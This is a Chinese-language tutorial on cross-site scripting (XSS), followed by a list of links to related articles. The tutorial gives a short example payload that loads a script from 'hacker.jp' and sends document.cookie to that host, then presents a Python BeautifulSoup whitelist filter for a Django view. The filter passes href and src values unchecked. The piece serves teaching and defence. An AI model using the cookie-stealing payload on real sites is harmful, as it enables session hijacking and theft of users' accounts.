XSS攻击
时间:2019-10-23
本文章向大家介绍XSS攻击,主要包括XSS攻击使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
一、什么是XSS攻击
跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。动态创建的 HTML 部分有可能隐藏着安全漏洞。
跨站脚本攻击可能造成以下影响:利用虚假输入表单骗取用户个人信息;利用脚本获取用户cookie,然后在用户不知情的情况下做出危害用户个人利益的行为。
例如:如下行为就可以窃取客户的cookie
#黑客脚本文件 <script src=http://hacker.jp/xss.js></script> #黑客脚本文件内容,获取用户的cookie并发送至黑客网址 var content = escape(document.cookie);document.write("<img src=http://hacker.jp/?"); document.write(content); document.write(">");
在web应用上执行黑客脚本文件就可以窃取到客户的cookie,并且当送到指定的黑客网址。
二、预防XSS攻击
XSS攻击存在的根本原因是对用户提交给Web Server端的内容没有进行充分的过滤,如果服务端对用户提交的一些不合法的参数和内容进行过滤,也就不易出现XSS攻击了。
预防XSS攻击思路:对用户提交的内容进行过滤,尤其是script标签,然后再将其存入到数据库中。
1、XSS过滤器
from bs4 import BeautifulSoup class XSSFilter(object): __instance = None def __init__(self): """ XSS白名单 """ self.valid_tags = { "font": ['color', 'size', 'face', 'style'], 'b': [], 'div': [], "span": [], "table": [ 'border', 'cellspacing', 'cellpadding' ], 'th': [ 'colspan', 'rowspan' ], 'td': [ 'colspan', 'rowspan' ], "a": ['href', 'target', 'name'], "img": ['src', 'alt', 'title'], 'p': [ 'align' ], "pre": ['class'], "hr": ['class'], 'strong': [] } def __new__(cls, *args, **kwargs): """ 单例模式,保证每一个用户都使用一个对象(对象的初始化内容一样),这样节省占用空间 :param cls: :param args: :param kwargs: :return: """ if not cls.__instance: obj = object.__new__(cls, *args, **kwargs) cls.__instance = obj return cls.__instance def process(self, content): """ 对用户提交的内容进行过滤,然后再返回过滤后的字符串内容 :param content: :return: """ soup = BeautifulSoup(content, 'html.parser') # 遍历所有HTML标签 for tag in soup.find_all(recursive=True): # 判断标签名是否在白名单中 if tag.name not in self.valid_tags: tag.hidden = True if tag.name not in ['html', 'body']: tag.hidden = True tag.clear() continue # 当前标签的所有属性白名单 attr_rules = self.valid_tags[tag.name] keys = list(tag.attrs.keys()) for key in keys: if key not in attr_rules: del tag[key] return soup.decode()
2、使用
在需要使用的视图函数中进行使用上述实例中的process函数:
def add_book(request): if request.method == 'POST': ... #进行过滤 content = XSSFilter().process(content) ... return redirect('/book/')
原文地址:https://www.cnblogs.com/shenjianping/p/11723083.html
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- ThinkPHP5 的简单搭建和使用详解
- PyInstaller运行原理及常用操作详解
- php使用curl模拟浏览器表单上传文件或者图片的方法
- Python轻量级web框架bottle使用方法解析
- 详解在YII2框架中使用UEditor编辑器发布文章
- 基于python和flask实现http接口过程解析
- Python xpath表达式如何实现数据处理
- Python脚本破解压缩文件口令实例教程(zipfile)
- 使用keras实现Precise, Recall, F1-socre方式
- Python Django搭建网站流程图解
- Pandas对DataFrame单列/多列进行运算(map, apply, transform, agg)
- keras自定义损失函数并且模型加载的写法介绍
- pandas DataFrame运算的实现
- Python流程控制语句的深入讲解
- 在keras里面实现计算f1-score的代码